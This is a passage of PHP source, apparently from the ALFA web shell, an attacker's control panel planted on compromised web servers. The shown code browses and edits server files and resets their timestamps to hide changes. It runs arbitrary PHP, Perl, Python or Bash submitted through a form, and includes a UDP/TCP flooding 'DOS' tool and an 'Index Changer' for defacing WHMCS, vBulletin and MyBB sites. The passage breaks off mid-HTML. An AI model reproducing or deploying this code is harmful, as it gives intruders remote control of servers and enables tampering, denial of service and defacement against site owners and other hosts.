onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">{$total_pages}<\/a>\";\r\n\t\t$links .= \"<a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\\\">>><\/a>\";\r\n }\r\n return $links;\r\n}\r\nfunction alfaFilesTools(){\r\nalfahead();\r\necho '<div class=\"filestools\" style=\"height: 100%;\">';\r\nif(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);\r\n$alfa1_decoded = $_POST['alfa1'];\r\n$chdir_fals = false;\r\nif(!@chdir($_POST['c'])){\r\n\t$chdir_fals = true;\r\n\t$_POST['alfa1'] = $_POST[\"c\"].\"\/\".$_POST[\"alfa1\"];\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\tif($alfa_canruncmd){\r\n\t\t$slashed_alfa1 = addslashes($_POST['alfa1']);\r\n\t\t$file_info = explode(\":\", alfaEx('stat -c \"%F:%U:%G:%s:%Y:0%a:%A\" \"'.$slashed_alfa1.'\"'));\r\n\t\t$perm_color_class = alfaEx(\"if [[ -w '\".$slashed_alfa1.\"' ]]; then echo main_green_perm; elif [[ -r '\".$slashed_alfa1.\"' ]]; then echo main_white_perm; else echo main_red_perm; fi\");\r\n\t}\r\n}\r\nif($_POST['alfa2'] == 'auto'){\r\nif(is_array(@getimagesize($_POST['alfa1']))){\r\n$_POST['alfa2'] = 'image';\r\n}else{\r\n\t$_POST['alfa2'] = 'view';\r\n\tif($chdir_fals){\r\n\t\tif($alfa_canruncmd){\r\n\t\t\t$mime = explode(\":\", alfaEx(\"file --mime-type '\".addslashes($_POST['alfa1']).\"'\"));\r\n\t\t\t$mimetype = $mime[1];\r\n\t\t\tif(!empty($mimetype)){\r\n\t\t\t\tif(strstr($mimetype, \"image\")){\r\n\t\t\t\t\t$_POST['alfa2'] = 'image';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n}\r\nif($_POST['alfa2'] == \"rename\" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}\r\nif(@$_POST['alfa2'] == 'mkfile'){\r\n$_POST['alfa1'] = trim($_POST['alfa1']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\tif(_alfa_is_writable($_POST[\"c\"])){\r\n\t\talfaEx(\"cd '\".addslashes($_POST[\"c\"]).\"';touch '\".addslashes($alfa1_decoded).\"'\");\r\n\t\t$_POST['alfa2'] = \"edit\";\r\n\t}\r\n}\r\nif(!@file_exists($_POST['alfa1'])){\r\n$fp = @fopen($_POST['alfa1'], 'w');\r\nif($fp){\r\n$_POST['alfa2'] = \"edit\";\r\nfclose($fp);\r\n}\r\n}else{\r\n$_POST['alfa2'] = \"edit\";\r\n}\r\n}\r\nif(!_alfa_file_exists(@$_POST['alfa1'])){\r\necho __pre().\"<center><p><div class=\\\"txtfont\\\"><font color='red'>!...FILE DOEST NOT EXITS...!<\/font><\/div><\/p><\/center><\/div><script>editor_error=false;removeHistory('\".$_POST['alfa4'].\"');<\/script>\";\r\nalfaFooter();\r\nreturn;\r\n}\r\nif($chdir_fals){\r\n$filesize = $file_info[3];\r\n$uid[\"name\"] = $file_info[1];\r\n$gid[\"name\"] = $file_info[2];\r\n$permcolor = alfaPermsColor(array(\"class\"=>$perm_color_class,\"num\"=>$file_info[5],\"human\"=>$file_info[6]),true);\r\n}else{\r\n$uid = function_exists(\"posix_getpwuid\")&&function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';\r\n$gid = function_exists(\"posix_getgrgid\")&&function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';\r\nif(!$uid&&!$gid){\r\n$uid['name'] = function_exists(\"fileowner\")?@fileowner($_POST['alfa1']):'';\r\n$gid['name'] = function_exists(\"filegroup\")?@filegroup($_POST['alfa1']):'';\r\n}\r\n$permcolor = alfaPermsColor($_POST['alfa1']);\r\n$filesize = @filesize($_POST['alfa1']);\r\nif(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){\r\n\tif(_alfa_can_runCommand()){\r\n\t\tlist($uid['name'],$gid['name']) = explode(\":\", alfaEx('stat -c \"%U:%G\" \"'.addslashes($_POST[\"c\"].\"\/\".$_POST[\"alfa1\"]).'\"'));\r\n\t}\r\n}\r\n}\r\nif(substr($_POST['alfa1'], 0, 7) == \"phar:\/\/\"){\r\n\t$alfa_file_directory = $_POST['alfa1'];\r\n}else{\r\n\t$alfa_file_directory = str_replace(\"\/\/\", \"\/\",($chdir_fals?\"\":$_POST['c'].'\/').$_POST['alfa1']);\r\n}\r\necho '<div style=\"overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\"><span class=\"editor_file_info_vars\">Name:<\/span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class=\"editor_file_info_vars\">Size:<\/span> '.alfaSize($filesize).' <span class=\"editor_file_info_vars\">Permission:<\/span> '.$permcolor.' <span class=\"editor_file_info_vars\">Owner\/Group:<\/span> '.$uid['name'].'\/'.$gid['name'].' <span class=\"editor_file_info_vars\">Directory:<\/span> '.dirname($alfa_file_directory).'<\/div>';\r\nif(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';\r\nif(!_alfa_is_dir($_POST['alfa1'])){\r\n$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');\r\n$ftype = \"file\";\r\n}else{\r\n$m = array('Chmod', 'Rename', 'Touch');\r\n$ftype = \"dir\";\r\n}\r\necho('<div>');\r\nforeach($m as $v)\r\necho $v == 'Delete' ? '<a href=\"javascript:void(0);\" onclick=\"var chk=confirm(\\'Are You Sure For Delete This File ?\\');chk?editor(\\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\\',\\''.strtolower($v).'\\',\\'\\',\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\'):\\'\\';\"><span class=\"editor_actions\">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class=\"editor_actions\"> '.$v.' <\/span> <\/b>':$v).' | <\/span><\/a> ' : '<a href=\"javascript:void(0);\" onclick=\"editor(\\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\\',\\''.strtolower($v).'\\',\\'\\',\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\')\"><span class=\"editor_actions\">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class=\"editor_actions\"> '.$v.' <\/span> <\/b>':$v).' | <\/span><\/a>';\r\necho '<\/div>';\r\nswitch($_POST['alfa2']){\r\ncase 'view':case 'edit':\r\n@chdir($_POST['c']);\r\n$disabled_btn = \"\";\r\nif(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){\r\n$disabled_btn = \"disabled=disabled\";\r\n$disabled_btn_style= 'background: #ff0000;color: #fff;';\r\n}\r\nif(!empty($_POST['alfa3'])){\r\n$_POST['alfa3'] = substr($_POST['alfa3'],1);\r\n$time = @filemtime($_POST['alfa1']);\r\n$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$rname = $alfa1_decoded;\r\n\t$randname = $rname.rand(111,9999);\r\n\t$filepath = dirname($_SERVER[\"SCRIPT_FILENAME\"]).\"\/\".$randname;\r\n\tif($fp = @__write_file($filepath ,$_POST['alfa3'])){\r\n\t\talfaEx(\"mv '\".addslashes($filepath).\"' '\".addslashes($_POST[\"alfa1\"]).\"';rm -f '\".addslashes($filepath).\"'\");\r\n\t}\r\n}\r\nif($fp){\r\necho 'Saved!<br>';\r\n@touch($_POST['alfa1'],$time,$time);\r\n}\r\n}\r\necho '<div class=\"editor-view\"><div class=\"view-content editor-ace-controller\"><div style=\"display:inline-block;\">'._alfa_load_ace_options(\"editor\").'<button style=\"border-radius:10px;\" class=\"button ace-controler\" onClick=\"copyToClipboard(this);\">Copy<\/button> <button class=\"button ace-controler\" onclick=\"alfaAceToFullscreen(this);\">Full Screen<\/button> <button onclick=\"var ace_val = alfa_ace_editors.editor[this.getAttribute(\\'ace_id\\')].getValue();editor(\\''.addslashes($alfa1_decoded).'\\',\\'edit\\',\\'1\\'+ace_val,\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\');return false;\" class=\"button ace-controler ace-save-btn\" style=\"width: 100px;height: 33px;'.$disabled_btn_style.'\" '.$disabled_btn.'>save<\/button><\/div><pre class=\"ml1 view_ml_content\">';\r\necho htmlspecialchars(__read_file($_POST['alfa1']));\r\necho '<\/pre><\/div><\/div>';\r\nbreak;\r\ncase 'highlight':\r\n@chdir($_POST['c']);\r\nif(@is_readable($_POST['alfa1'])){\r\necho '<div class=\"editor-view\"><div class=\"view-content\"><div class=\"ml1\" style=\"background-color: #e1e1e1;color:black;\">';\r\n$code = @highlight_file($_POST['alfa1'],true);\r\necho str_replace(array('<span ','<\/span>'), array('<font ','<\/font>'),$code).'<\/div><\/div><\/div>';\r\n}\r\nbreak;\r\ncase 'delete':\r\n@chdir($_POST['c']);\r\nif(@is_writable($_POST['alfa1'])||$GLOBALS[\"glob_chdir_false\"]){\r\n$deleted = true;\r\nif(!@unlink($_POST['alfa1'])){\r\n\t$deleted = false;\r\n\tif($alfa_canruncmd){\r\n\t\tif(_alfa_is_writable($_POST['alfa1'])){\r\n\t\t\talfaEx(\"rm -f '\".addslashes($_POST['alfa1']).\"'\");\r\n\t\t\t$deleted = true;\r\n\t\t}\r\n\t}\r\n}\r\nif($deleted)echo 'File Deleted...<script>var elem = $(\"'.$_POST['alfa4'].'\").parentNode;elem.parentNode.removeChild(elem);delete editor_files[\"'.$_POST['alfa4'].'\"];<\/script>';else echo 'Error...';}\r\nbreak;\r\ncase 'chmod':\r\n@chdir($_POST['c']);\r\nif(!empty($_POST['alfa3'])){\r\n$perms = 0;\r\nfor($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)\r\n$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));\r\nif(!@chmod($_POST['alfa1'], $perms)){\r\nif($chdir_fals&&$alfa_canruncmd){\r\nalfaEx(\"cd '\".addslashes($_POST[\"c\"]).\"';chmod \".addslashes($_POST['alfa3']).\" '\".addslashes($alfa1_decoded).\"'\");\r\necho('Success!');\r\n}else{\r\necho '<font color=\"#FFFFFF\"><b>Can\\'t set permissions!<\/b><\/font><br><script>document.mf.alfa3.value=\"\";<\/script>';}\r\n}else{echo('Success!');}\r\n}\r\nclearstatcache();\r\nAlfaNum(8,9,10,7,6,5,4,2,1);\r\nif($chdir_fals){\r\n\t$file_perm = $file_info[5];\r\n}else{\r\n\t$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);\r\n}\r\necho '<script>alfa3_=\"\";<\/script><form onsubmit=\"editor(\\''.addslashes($_POST['alfa1']).'\\',\\''.$_POST['alfa2'].'\\',this.chmod.value,\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\');return false;\"><input type=\"text\" name=\"chmod\" value=\"'.$file_perm.'\"><input type=submit value=\" \"><\/form>';\r\nbreak;\r\ncase 'hexdump':\r\n@chdir($_POST['c']);\r\n$c = __read_file($_POST['alfa1']);\r\n$n = 0;\r\n$h = array('00000000<br>','','');\r\n$len = strlen($c);\r\nfor ($i=0; $i<$len; ++$i) {\r\n$h[1] .= sprintf('%02X',ord($c[$i])).' ';\r\nswitch ( ord($c[$i]) ) {\r\ncase 0: $h[2] .= ' '; break;\r\ncase 9: $h[2] .= ' '; break;\r\ncase 10: $h[2] .= ' '; break;\r\ncase 13: $h[2] .= ' '; break;\r\ndefault: $h[2] .= $c[$i]; break;\r\n}\r\n$n++;\r\nif ($n == 32) {\r\n$n = 0;\r\nif ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}\r\n$h[1] .= '<br>';\r\n$h[2] .= \"\\n\";\r\n}\r\n}\r\necho '<div class=\"editor-view\"><div class=\"view-content\"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style=\"font-weight: normal;\"><pre>'.$h[0].'<\/pre><\/span><\/td><td bgcolor=#282828><pre>'.$h[1].'<\/pre><\/td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'<\/pre><\/td><\/tr><\/table><\/div><\/div>';\r\nbreak;\r\ncase 'rename':\r\n@chdir($_POST['c']);\r\n$alfa1_escape = addslashes($_POST[\"alfa1\"]);\r\n$alfa3_escape = addslashes($_POST[\"alfa3\"]);\r\nif(!empty($_POST['alfa3'])){\r\n$cmd_rename = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\nif(_alfa_is_writable($_POST['alfa1'])){\r\n$alfa1_escape = addslashes($alfa1_decoded);\r\nalfaEx(\"cd '\".addslashes($_POST['c']).\"';mv '\".$alfa1_escape.\"' '\".addslashes($_POST['alfa3']).\"'\");\r\n}else{\r\n$cmd_rename = true;\r\n}\r\n}else{\r\n$alfa1_escape = addslashes($_POST[\"alfa1\"]);\r\n}\r\nif(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){\r\necho 'Can\\'t rename!<br>';}else{echo('Renamed!<script>try{$(\"'.$_POST['alfa4'].'\").innerHTML = \"<div class=\\'editor-icon\\'>\"+loadType(\\''.$alfa3_escape.'\\',\\''.$ftype.'\\',\\''.$_POST['alfa4'].'\\')+\"<\/div><div class=\\'editor-file-name\\'>'.$alfa3_escape.'<\/div>\";editor_files[\"'.$_POST['alfa4'].'\"].file = \"'.$alfa3_escape.'\";updateFileEditor(\"'.$alfa1_escape.'\", \"'.$alfa3_escape.'\");'.($ftype == \"dir\"?\"updateDirsEditor('\".$_POST['alfa4'].\"','\".$alfa1_escape.\"');\":\"\").'}catch(e){console.log(e)}<\/script>');$alfa1_escape = $alfa3_escape;}\r\n}\r\necho '<form onsubmit=\"editor(\\''.$alfa1_escape.'\\',\\''.$_POST['alfa2'].'\\',this.name.value,\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\');return false;\"><input type=\"text\" name=\"name\" value=\"'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'\"><input type=submit value=\" \"><\/form>';\r\nbreak;\r\ncase 'touch':\r\n@chdir($_POST['c']);\r\nif( !empty($_POST['alfa3']) ) {\r\n$time = strtotime($_POST['alfa3']);\r\nif($time){\r\n$touched = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\talfaEx(\"cd '\".addslashes($_POST[\"c\"]).\"';touch -d '\".htmlspecialchars(addslashes($_POST['alfa3'])).\"' '\".addslashes($alfa1_decoded).\"'\");\r\n\t$touched = true;\r\n}\r\nif(!@touch($_POST['alfa1'],$time,$time)&&!$touched)\r\necho 'Fail!';\r\nelse\r\necho 'Touched!';\r\n} else echo 'Bad time format!';\r\n}\r\nclearstatcache();\r\necho '<script>alfa3_=\"\";<\/script><form onsubmit=\"editor(\\''.addslashes($_POST['alfa1']).'\\',\\''.$_POST['alfa2'].'\\',this.touch.value,\\''.$_POST['c'].'\\',\\''.$_POST['alfa4'].'\\',\\''.$ftype.'\\');return false;\"><input type=text name=touch value=\"'.date(\"Y-m-d H:i:s\", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'\"><input type=submit value=\" \"><\/form>';\r\nbreak;\r\ncase 'image':\r\n@chdir($_POST['c']);\r\necho('<hr>');\r\n$file = $_POST['alfa1'];\r\n$image_info = @getimagesize($file);\r\nif(is_array($image_info)||$chdir_fals){\r\n$width = (int)$image_info[0];\r\n$height = (int)$image_info[1];\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$source = alfaEx(\"cat '\".addslashes($file).\"' | base64\");\r\n\tlist($width, $height) = explode(\":\", alfaEx(\"identify -format '%w:%h' '\".addslashes($file).\"'\"));\r\n\t$mime = explode(\":\", alfaEx(\"file --mime-type '\".addslashes($file).\"'\"));\r\n\t$image_info['mime'] = $mime[1];\r\n}else{\r\n\t$source = __ZW5jb2Rlcg(__read_file($file, false));\r\n}\r\n$image_info_h = \"Image type = <span>[<\/span> \".$image_info['mime'].\" <span>]<\/span><br>Image Size = <span>[ <\/span>\".$width.\" x \".$height.\"<span> ]<\/span><br>\";\r\nif($width > 800){$width = 800;}\r\necho $content = \"<div class='editor-view'><div class='view-content'><center>\".$image_info_h.\"<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:\".$image_info['mime'].\";base64,\".$source.\"' alt='\".$file.\"'><\/center><\/div><\/div><br>\";\r\n}\r\nbreak;\r\n}\r\necho '<\/div>';\r\nalfaFooter();\r\n}\r\nfunction findicon($file,$type){\r\n$s = 'http:\/\/solevisible.com\/icons\/';\r\n$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');\r\nif($type!='file'){\r\nreturn ($file=='..'?$s.'back.png':$s.'folder.png');\r\n}else{\r\n$ext = explode('.',$file);\r\n$ext = end($ext);\r\n$ext = strtolower($ext);\r\nreturn (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');\r\n}\r\n}\r\nfunction alfadlfile(){\r\nif(isset($_POST['c'],$_POST['file'])){\r\n$basename = rawurldecode(basename($_POST['file']));\r\n$_POST['file'] = str_replace(\"\/\/\", \"\/\", $_POST['c'].'\/'.$basename);\r\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\nif(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){\r\nob_start(\"ob_gzhandler\", 4096);\r\nheader(\"Content-Disposition: attachment; filename=\\\"\".addslashes($basename).\"\\\"\");\r\nheader(\"Content-Type: application\/octet-stream\");\r\nif($GLOBALS[\"glob_chdir_false\"]){\r\n\t$randname = $basename.rand(111,9999);\r\n\t$scriptpath = dirname($_SERVER[\"SCRIPT_FILENAME\"]);\r\n\t$filepath = $scriptpath.\"\/\".$randname;\r\n\tif(_alfa_is_writable($scriptpath)){\r\n\t\talfaEx(\"cp '\".addslashes($_POST[\"file\"]).\"' '\".addslashes($filepath).\"'\");\r\n\t\treadfile($filepath);\r\n\t\t@unlink($filepath);\r\n\t}else{\r\n\t\talfaEx(\"cat '\".addslashes($_POST[\"file\"]).\"'\");\r\n\t}\r\n}else{\r\n\treadfile($_POST['file']);\r\n}\r\n}else echo('Error...!');}}\r\nfunction __alfa_set_cookie($key, $value){\r\n\t$_COOKIE[$key] = $value;\r\n\t@setcookie($key, $value, time()+(86400 * 7), '\/');\r\n}\r\nfunction alfaphpeval(){\r\nif(isset($_COOKIE[\"eval_tmpdir\"])&&@is_dir($_COOKIE[\"eval_tmpdir\"])){\r\n\t$tempdir = __ZGVjb2Rlcg($_COOKIE[\"eval_tmpdir\"]);\r\n}else{\r\n\t$tempdir = dirname(alfaEx(\"mktemp\"));\r\n\t__alfa_set_cookie(\"eval_tmpdir\", __ZW5jb2Rlcg($tempdir));\r\n}\r\nalfahead();\r\nif(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){\r\necho '<div class=header>';\r\nob_start();\r\n$INI=ini_get_all();\r\nprint '<table border=0><tr>'\r\n.'<td class=\"listing\"><font class=\"highlight_txt\">Param<\/td>'\r\n.'<td class=\"listing\"><font class=\"highlight_txt\">Global value<\/td>'\r\n.'<td class=\"listing\"><font class=\"highlight_txt\">Local Value<\/td>'\r\n.'<td class=\"listing\"><font class=\"highlight_txt\">Access<\/td><\/tr>';\r\nforeach ($INI as $param => $values)\r\nprint \"\\n\".'<tr>'\r\n.'<td class=\"listing\"><b>'.$param.'<\/td>'\r\n.'<td class=\"listing\">'.$values['global_value'].' <\/td>'\r\n.'<td class=\"listing\">'.$values['local_value'].' <\/td>'\r\n.'<td class=\"listing\">'.$values['access'].' <\/td><\/tr>';\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);\r\n$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);\r\necho str_replace('<h1','<h2', $tmp) .'<\/div><br>';\r\n}\r\nif(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {\r\necho '<div class=header><style>.p {color:#000;}<\/style>';\r\nob_start();\r\nphpinfo();\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);\r\n$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);\r\necho str_replace('<h1','<h2', $tmp) .'<\/div><br>';\r\n}\r\nif(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {\r\necho '<div class=header>';\r\nob_start();\r\n$EXT=get_loaded_extensions();\r\necho '<table border=0><tr><td class=\"listing\">'.implode('<\/td><\/tr>'.\"\\n\".'<tr><td class=\"listing\">', $EXT).'<\/td><\/tr><\/table>'.count($EXT).' extensions loaded';\r\necho '<\/div><br>';\r\n}\r\n$lang_html = \"\";\r\nforeach(array(\"php\"=>\"php ~> [ Windows \/ Linux ]\",\"perl\"=>\"perl ~> [ Linux ]\",\"python\"=>\"python ~> [ Linux ]\",\"bash\"=>\"bash ~> [ Linux ]\") as $key=>$val){$lang_html .= '<option value=\"'.$key.'\" '.($_POST[\"alfa3\"]==$key?\"selected\":\"\").'>'.$val.'<\/option>';}\r\necho '<div class=header><Center><a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'ini\\')\">| INI_INFO | <\/a><a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'info\\')\"> | phpinfo |<\/a><a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'exten\\')\"> | extensions |<\/a><\/center><br><form class=\"php-evals\" name=\"pf\" method=\"post\" onsubmit=\"var ace_value=geEvalAceValue(this);g(\\'phpeval\\',null,ace_value,null,this.language.value); return false;\"><div class=\"txtfont\">Select Language: <\/div> <select name=\"language\" style=\"width:300px;\">'.$lang_html.'<\/select>'._alfa_load_ace_options(\"eval\").'<br><br><div class=\"bigarea\" style=\"position:relative;\"><div class=\"php-evals-ace\">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):\"<?php\\n\\n\\techo('hello alfa !');\\n\\n?>\").'<\/div><\/div><center><input type=\"submit\" value=\"\" style=\"margin-top:5px\"><\/center>';\r\necho '<\/form><pre id=\"PhpOutput\" style=\"'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;\" class=\"ml1\">';\r\nif(!empty($_POST['alfa1'])){\r\nif($_POST['alfa3']==\"php\"){\r\nob_start();\r\neval('?>'.$_POST['alfa1']);\r\n$result = htmlspecialchars(ob_get_clean());\r\n}elseif(_alfa_can_runCommand()&&$GLOBALS[\"sys\"]==\"unix\"){\r\n\t$lang = $_POST['alfa3'];\r\n\t$filename = \"temp\".rand(11111,99999);\r\n\t$temp = $tempdir.\"\/\".$filename ;\r\n\t__write_file($filename, $_POST['alfa1']);\r\n\t$result = alfaEx(\"mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}\");\r\n\t@unlink($filename);\r\n\t@unlink($temp);\r\n}\r\necho '<textarea class=\"bigarea\">'.$result.'<\/textarea>';\r\n}\r\necho '<\/pre><\/div>';\r\nalfafooter();\r\n}\r\nfunction alfahash(){\r\nif(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\nif(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n$stringTools = array(\r\n'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',\r\n'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',\r\n'strrev ( $string )' => 'strrev($s)',\r\n'bin2hex ( $string )' => 'bin2hex($s)',\r\n'hex2bin ( $string )' => 'hex2bin($s)',\r\n'md5 ( $string )' => 'md5($s)',\r\n'sha1 ( $string )' => 'sha1($s)',\r\n'hash ( \"sha251\", $string ) --> sha251' => 'hash(\"sha256\",$s)',\r\n'hash ( \"sha384\", $string ) --> sha384' => 'hash(\"sha384\",$s)',\r\n'hash ( \"sha512\", $string ) --> sha512' => 'hash(\"sha512\",$s)',\r\n'crypt ( $string )' => 'crypt($s)',\r\n'crc32 ( $string )' => 'crc32($s)',\r\n'str_rot13 ( $string )' => 'str_rot13($s)',\r\n'urlencode ( $string )' => 'urlencode($s)',\r\n'urldecode ( $string )' => 'urldecode($s)',\r\n'full_urlencode ( $string )' => 'full_urlencode($s)',\r\n'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',\r\n'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',\r\n'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',\r\n'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',\r\n'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',\r\n'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',\r\n'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',\r\n);\r\nalfahead();\r\necho '<div class=header>';\r\necho \"<form onSubmit='g(\\\"hash\\\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:<\/div> <select name='selectTool' style='width:400px;'>\";\r\nforeach($stringTools as $k => $v)\r\necho \"<option value='\".htmlspecialchars($v).\"' \".($_POST['alfa1']==$v?'selected':'').\">\".$k.\"<\/option>\";\r\necho \"<\/select> <input type='submit' value=' '\/><br><textarea name='input' style='margin-top:5px' class='bigarea'>\".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2'])).\"<\/textarea><\/form>\";\r\nif(!empty($_POST['alfa1'])){\r\n$string = addslashes($_POST['alfa2']);\r\n$string = str_replace('\\\"','\"',$string);\r\n$alg = $_POST['alfa1'];\r\n$code = str_replace('$s',\"'\".$string.\"'\",$alg);\r\nob_start();\r\neval('echo '.$code.';');\r\n$res = ob_get_contents();\r\nob_end_clean();\r\nif(in_array($alg, $stringTools))echo '<textarea class=\"bigarea\">'.htmlspecialchars($res).'<\/textarea>';\r\n}\r\necho \"<\/div>\";\r\nalfaFooter();\r\n}\r\nfunction alfados(){\r\nalfahead();\r\necho '<div class=header>';\r\necho '<center><p><div class=\"txtfont_header\">| DOS |<\/div><\/p><form onSubmit=\"g(\\'dos\\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;\"><div class=\"txtfont\">Method : <select name=\"m\" style=\"width:80px;\"><option value=\"udp\">UDP<\/option><option value=\"tcp\">TCP<\/option><\/select> Host : <input name=\"host\" type=\"text\" value=\"localhost\" size=\"25\" \/> Time : <input name=\"time\" type=\"text\" size=\"15\" \/> Port : <input name=\"port\" type=\"text\" size=\"10\" \/> <input type=\"submit\" value=\" \" \/><\/div><\/form><\/center><br>';\r\nif(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){\r\necho __pre();\r\n$packets=0;\r\nignore_user_abort(true);\r\n$exec_time=(int)$_POST['alfa2'];\r\n$time=time();\r\n$max_time=$exec_time+$time;\r\n$host=$_POST['alfa1'];\r\n$port=(int)$_POST['alfa3'];\r\n$method=$_POST['alfa4'];\r\n$out = str_repeat('X',65000);\r\nwhile(1){\r\n$packets++;\r\nif(time() > $max_time){\r\nbreak;\r\n}\r\n$fp = @fsockopen($method.':\/\/'.$host, $port, $errno, $errstr, 5);\r\nif($fp){\r\nfwrite($fp, $out);\r\nfclose($fp);\r\n}\r\n}\r\necho \"<center>$packets (\" . @round(($packets*65)\/1024, 2) . \" MB) packets averaging \". @round($packets\/$exec_time, 2) . \" packets per second<\/center>\";\r\necho \"<\/pre>\";\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction __pre(){return('<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">');}\r\nfunction alfaIndexChanger(){\r\nalfahead();\r\n\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Index Changer |<\/div><\/p><h3><a href=javascript:void(0) onclick=\"g(\\'IndexChanger\\',null,null,null,\\'whmcs\\')\">| Whmcs | <\/a><a href=javascript:void(0) onclick=\"g(\\'IndexChanger\\',null,\\'vb\\',null)\">| vBulletin | <\/a><a href=javascript:void(0) onclick=\"g(\\'IndexChanger\\',null,null,\\'mybb\\')\">| MyBB | <\/a><\/h3><\/center>';\r\nif(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){\r\necho __pre();\r\n\r\necho \"<center><center><div class='txtfont_header'>| Whmcs |<\/div>\r\n<p><center>\".getConfigHtml('whmcs').\"<form 